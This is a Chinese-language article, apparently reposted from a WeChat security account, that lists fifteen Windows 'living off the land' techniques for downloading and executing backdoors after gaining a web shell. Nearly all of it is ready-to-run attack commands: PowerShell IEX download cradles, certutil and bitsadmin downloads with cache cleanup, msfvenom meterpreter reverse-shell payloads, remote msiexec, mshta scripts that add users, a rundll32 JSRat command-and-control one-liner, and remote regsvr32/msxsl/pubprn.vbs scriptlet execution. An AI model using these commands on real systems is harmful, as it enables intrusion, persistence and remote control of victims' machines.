Windows文件下載執行的15種姿勢
本文轉載自微信公眾號「Bypass」,轉載本文請聯系Bypass公眾號。
當我們通過Web滲透獲取了一個Shell,而且目標主機是Windows,我們該怎么去下載后門文件到目標主機上執行呢?
一般來說,實現Windows文件下載執行的方式不外乎以下幾種方式。第一種,遠程下載文件到本地,然后再執行;第二種,遠程下載執行,執行過程沒有二進制文件落地,這種方式已然成為后門文件下載執行的首要方式。另外呢,只要你所在服務器的環境支持,你也可以通過任何一門語言來實現它,這種方式暫不在本文的討論范圍之內。
在這里,本文收集了15種常見的文件下載執行的方式,并結合具體案例,讓我們一起來看看是怎么實現的吧。
- PowerShell
- Bitsadmin
- certutil
- wget
- ipc$文件共享
- FTP
- TFTP
- WinScp
- msiexec
- IEExec
- mshta
- rundll32
- regsvr32
- MSXSL.EXE
- pubprn.vbs
1、PowerShell
PowerShell是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用。
遠程下載文件保存在本地:
- powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
遠程執行命令:
- powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
2、Bitsadmin
bitsadmin是一個命令行工具,可用于創建下載或上傳工作和監測其進展情況。
- bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
輸入以上命令,成功下載文件。
3、certutil
用于備份證書服務,支持xp-win10都支持。由于certutil下載文件都會留下緩存,所以一般都建議下載完文件后對緩存進行刪除。
注:緩存目錄為:
- ”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”
- #下載文件
- certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
- #刪除緩存
- certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
4、wget
Windows環境下,可上傳免安裝的可執行程序wget.exe到目標機器,使用wget下載文件。
wget.exe下載:https://eternallybored.org/misc/wget/
- wget -O "evil.txt" http://192.168.28.128/imag/evil.txt
5、ipc$文件共享
IPC$(Internet Process Connection)是共享”命名管道”的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。
- #建立遠程IPC連接
- net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
- #復制遠程文件到本地主機
- copy \\192.168.28.128\c$\2.txt D:\test
6、FTP
一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行并不會產生交互動作。
- ftp 127.0.0.1
- username
- password
- get file
- exit
7、TFTP
用來下載遠程文件的最簡單的網絡協議,它基于UDP協議而實現
tftp32服務端下載地址:http://tftpd32.jounin.net/tftpd32_download.html
- tftp -i 你的IP get 要下載文件 存放位置
8、WinScp
WinSCP是一個Windows環境下使用SSH的開源圖形化SFTP客戶端。
- #上傳
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt
- #下載
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx
使用winscp.exe 作為命令行參數執行遠程上傳/下載操作。
9、msiexec
msiexec 支持遠程下載功能,將msi文件上傳到服務器,通過如下命令遠程執行:
- #生成msi包
- msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
- #遠程執行
- msiexec /q /i http://192.168.28.128/evil.msi
成功添加了一個test用戶:
10、IEExec
IEexec.exe應用程序是.NET Framework附帶程序,存在于多個系統白名單內。
生成Payload:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
使用管理員身份打開cmd,分別運行下面兩條命令。
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
11、mshta
mshta用于執行.hta文件,而hta是HTML Applocation 的縮寫,也就是HTML應用程序。而hta中也支持VBS。所以我們可以利用hta來下載文件。
- mshta http://192.168.28.128/run.hta
run.hta內容如下:
- <HTML>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <HEAD>
- <script language="VBScript">
- Window.ReSizeTo 0, 0
- Window.moveTo -2000,-2000
- Set objShell = CreateObject("Wscript.Shell")
- objShell.Run "cmd.exe /c net user test password /add" // 這里填寫命令
- self.close
- </script>
- <body>
- demo
- </body>
- </HEAD>
- </HTML>
12、rundll32
其實還是依賴于WScript.shell這個組件,在這里我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序。
項目地址:
- https://github.com/Hood3dRob1n/JSRat-Py.git
步驟一:開始運行JSRat,監聽本地8888端口。
步驟二:通過url訪問,可以查看惡意代碼。
復制代碼如下:
- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
步驟三:在受害者PC運行該代碼,將成功返回一個會話,如下圖所示:
13、regsvr32
Regsvr32命令用于注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行
在目標機上執行:
- regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
可以通過自己構造.sct文件,去下載執行我們的程序
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="ShortJSRAT"
- classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
- <script language="JScript">
- <![CDATA[
- ps = "cmd.exe /c calc.exe";
- new ActiveXObject("WScript.Shell").Run(ps,0,true);
- ]]>
- </script>
- </registration>
- </scriptlet>
執行命令,成功彈計算器:
14、MSXSL.EXE
msxsl.exe是微軟用于命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。
下載地址為:
- https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受兩個文件,XML及XSL文件,可以遠程加載,具體方式如下:
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
demo.xml
- <?xml version="1.0"?>
- <?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
- <customers>
- <customer>
- <name>Microsoft</name>
- </customer>
- </customers>
exec.xsl
- <?xml version='1.0'?>
- <xsl:stylesheet version="1.0"
- xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
- xmlns:msxsl="urn:schemas-microsoft-com:xslt"
- xmlns:user="http://mycompany.com/mynamespace">
- <msxsl:script language="JScript" implements-prefix="user">
- function xml(nodelist) {
- var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
- return nodelist.nextNode().xml;
- }
- </msxsl:script>
- <xsl:template match="/">
- <xsl:value-of select="user:xml(.)"/>
- </xsl:template>
- </xsl:stylesheet>
15、pubprn.vbs
在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之后再將參數傳遞給GetObject()
- "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
test.sct
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- description="Bandit"
- progid="Bandit"
- version="1.00"
- classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
- remotable="true"
- >
- </registration>
- <script language="JScript">
- <![CDATA[
- var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
- ]]>
- </script>
- </scriptlet>